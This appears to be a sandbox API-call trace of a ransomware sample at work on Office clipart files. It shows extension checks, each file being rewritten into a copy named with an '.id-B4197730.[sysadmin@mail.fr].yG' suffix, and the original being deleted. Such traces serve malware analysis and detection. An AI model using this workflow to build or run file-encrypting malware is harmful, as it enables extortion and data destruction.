	[0144.872] lstrlenW (lpString=".docx") returned 5
	[0144.872] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.872] lstrlenW (lpString=".pdf") returned 4
	[0144.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.873] lstrlenW (lpString=".xls") returned 4
	[0144.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.873] lstrlenW (lpString=".xlsx") returned 5
	[0144.873] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.873] lstrlenW (lpString=".ppt") returned 4
	[0144.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0144.873] lstrlenW (lpString=".zip") returned 4
	[0144.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.873] lstrlenW (lpString=".rar") returned 4
	[0144.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.873] lstrlenW (lpString=".bz2") returned 4
	[0144.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.874] lstrlenW (lpString=".7z") returned 3
	[0144.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0144.874] lstrlenW (lpString=".dbf") returned 4
	[0144.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0144.874] lstrlenW (lpString=".1cd") returned 4
	[0144.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0144.874] lstrlenW (lpString=".jpg") returned 4
	[0144.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0144.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0144.875] lstrlenW (lpString=".doc") returned 4
	[0144.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.875] lstrlenW (lpString=".docx") returned 5
	[0144.875] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.875] lstrlenW (lpString=".pdf") returned 4
	[0144.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.875] lstrlenW (lpString=".xls") returned 4
	[0144.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.875] lstrlenW (lpString=".xlsx") returned 5
	[0144.875] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.875] lstrlenW (lpString=".ppt") returned 4
	[0144.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0145.015] lstrlenW (lpString=".zip") returned 4
	[0145.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.015] lstrlenW (lpString=".rar") returned 4
	[0145.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.015] lstrlenW (lpString=".bz2") returned 4
	[0145.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.015] lstrlenW (lpString=".7z") returned 3
	[0145.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0145.016] lstrlenW (lpString=".dbf") returned 4
	[0145.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0145.016] lstrlenW (lpString=".1cd") returned 4
	[0145.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0145.016] lstrlenW (lpString=".jpg") returned 4
	[0145.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.016] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0145.016] lstrlenW (lpString="EN00320_.WMF") returned 12
	[0145.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0145.344] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=736) returned 1
	[0145.345] CloseHandle (hObject=0x53c) returned 1
	[0145.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0x220
	[0145.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0145.345] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.345] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0145.346] GetLastError () returned 0x0
	[0145.346] ReadFile (in: hFile=0x53c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x2e0, lpOverlapped=0x0) returned 1
	[0145.348] WriteFile (in: hFile=0x52c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x2f0, lpOverlapped=0x0) returned 1
	[0145.349] ReadFile (in: hFile=0x53c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0145.349] WriteFile (in: hFile=0x52c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0145.349] SetEndOfFile (hFile=0x52c) returned 1
	[0145.349] CloseHandle (hObject=0x52c) returned 1
	[0145.349] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.349] SetEndOfFile (hFile=0x53c) returned 1
	[0145.352] CloseHandle (hObject=0x53c) returned 1
	[0145.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0145.353] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 1
	[0145.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0145.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0145.354] lstrlenW (lpString=".doc") returned 4
	[0145.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.354] lstrlenW (lpString=".docx") returned 5
	[0145.354] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.354] lstrlenW (lpString=".pdf") returned 4
	[0145.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.354] lstrlenW (lpString=".xls") returned 4
	[0145.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.354] lstrlenW (lpString=".xlsx") returned 5
	[0145.354] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.354] lstrlenW (lpString=".ppt") returned 4
	[0145.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0145.354] lstrlenW (lpString=".zip") returned 4
	[0145.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.354] lstrlenW (lpString=".rar") returned 4
	[0145.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.354] lstrlenW (lpString=".bz2") returned 4
	[0145.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.354] lstrlenW (lpString=".7z") returned 3
	[0145.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0145.354] lstrlenW (lpString=".dbf") returned 4
	[0145.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0145.354] lstrlenW (lpString=".1cd") returned 4
	[0145.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0145.355] lstrlenW (lpString=".jpg") returned 4
	[0145.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0145.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0145.355] lstrlenW (lpString=".doc") returned 4
	[0145.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.355] lstrlenW (lpString=".docx") returned 5
	[0145.355] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.355] lstrlenW (lpString=".pdf") returned 4
	[0145.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.355] lstrlenW (lpString=".xls") returned 4
	[0145.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.355] lstrlenW (lpString=".xlsx") returned 5
	[0145.355] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.355] lstrlenW (lpString=".ppt") returned 4
	[0145.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0145.355] lstrlenW (lpString=".zip") returned 4
	[0145.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.355] lstrlenW (lpString=".rar") returned 4
	[0145.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.355] lstrlenW (lpString=".bz2") returned 4
	[0145.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.355] lstrlenW (lpString=".7z") returned 3
	[0145.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0145.356] lstrlenW (lpString=".dbf") returned 4
	[0145.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0145.356] lstrlenW (lpString=".1cd") returned 4
	[0145.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0145.356] lstrlenW (lpString=".jpg") returned 4
	[0145.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.356] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0145.356] lstrlenW (lpString="FD00090_.WMF") returned 12
	[0145.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0145.357] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=14194) returned 1
	[0145.357] CloseHandle (hObject=0x53c) returned 1
	[0145.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220
	[0145.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0145.358] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.358] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0145.362] GetLastError () returned 0x0
	[0145.362] ReadFile (in: hFile=0x53c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x3772, lpOverlapped=0x0) returned 1
	[0145.364] WriteFile (in: hFile=0x52c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x3780, lpOverlapped=0x0) returned 1
	[0145.366] ReadFile (in: hFile=0x53c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0145.366] WriteFile (in: hFile=0x52c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0145.366] SetEndOfFile (hFile=0x52c) returned 1
	[0145.366] CloseHandle (hObject=0x52c) returned 1
	[0145.366] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.366] SetEndOfFile (hFile=0x53c) returned 1
	[0145.370] CloseHandle (hObject=0x53c) returned 1
	[0145.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0145.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 1
	[0145.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0145.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0145.372] lstrlenW (lpString=".doc") returned 4
	[0145.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.372] lstrlenW (lpString=".docx") returned 5
	[0145.372] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.372] lstrlenW (lpString=".pdf") returned 4
	[0145.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.372] lstrlenW (lpString=".xls") returned 4
	[0145.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.372] lstrlenW (lpString=".xlsx") returned 5
	[0145.372] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.372] lstrlenW (lpString=".ppt") returned 4
	[0145.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0145.372] lstrlenW (lpString=".zip") returned 4
	[0145.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.372] lstrlenW (lpString=".rar") returned 4
	[0145.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.372] lstrlenW (lpString=".bz2") returned 4
	[0145.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.372] lstrlenW (lpString=".7z") returned 3
	[0145.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0145.373] lstrlenW (lpString=".dbf") returned 4
	[0145.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0145.373] lstrlenW (lpString=".1cd") returned 4
	[0145.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0145.373] lstrlenW (lpString=".jpg") returned 4
	[0145.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0145.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0145.373] lstrlenW (lpString=".doc") returned 4
	[0145.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.373] lstrlenW (lpString=".docx") returned 5
	[0145.373] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.373] lstrlenW (lpString=".pdf") returned 4
	[0145.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.373] lstrlenW (lpString=".xls") returned 4
	[0145.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.373] lstrlenW (lpString=".xlsx") returned 5
	[0145.373] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.373] lstrlenW (lpString=".ppt") returned 4
	[0145.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0145.373] lstrlenW (lpString=".zip") returned 4
	[0145.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.374] lstrlenW (lpString=".rar") returned 4
	[0145.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.374] lstrlenW (lpString=".bz2") returned 4
	[0145.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.374] lstrlenW (lpString=".7z") returned 3
	[0145.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0145.374] lstrlenW (lpString=".dbf") returned 4
	[0145.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0145.374] lstrlenW (lpString=".1cd") returned 4
	[0145.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0145.374] lstrlenW (lpString=".jpg") returned 4
	[0145.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.374] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0145.374] lstrlenW (lpString="FD00096_.WMF") returned 12
	[0145.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0145.458] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=37390) returned 1
	[0145.458] CloseHandle (hObject=0x518) returned 1
	[0145.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220
	[0145.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0145.991] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.991] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0145.992] GetLastError () returned 0x0
	[0145.992] ReadFile (in: hFile=0x544, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x920e, lpOverlapped=0x0) returned 1
	[0146.260] WriteFile (in: hFile=0x548, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x9210, lpOverlapped=0x0) returned 1
	[0146.262] ReadFile (in: hFile=0x544, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.262] WriteFile (in: hFile=0x548, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0146.262] SetEndOfFile (hFile=0x548) returned 1
	[0146.262] CloseHandle (hObject=0x548) returned 1
	[0146.262] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.262] SetEndOfFile (hFile=0x544) returned 1
	[0146.396] CloseHandle (hObject=0x544) returned 1
	[0146.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0146.397] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 1
	[0146.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0146.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
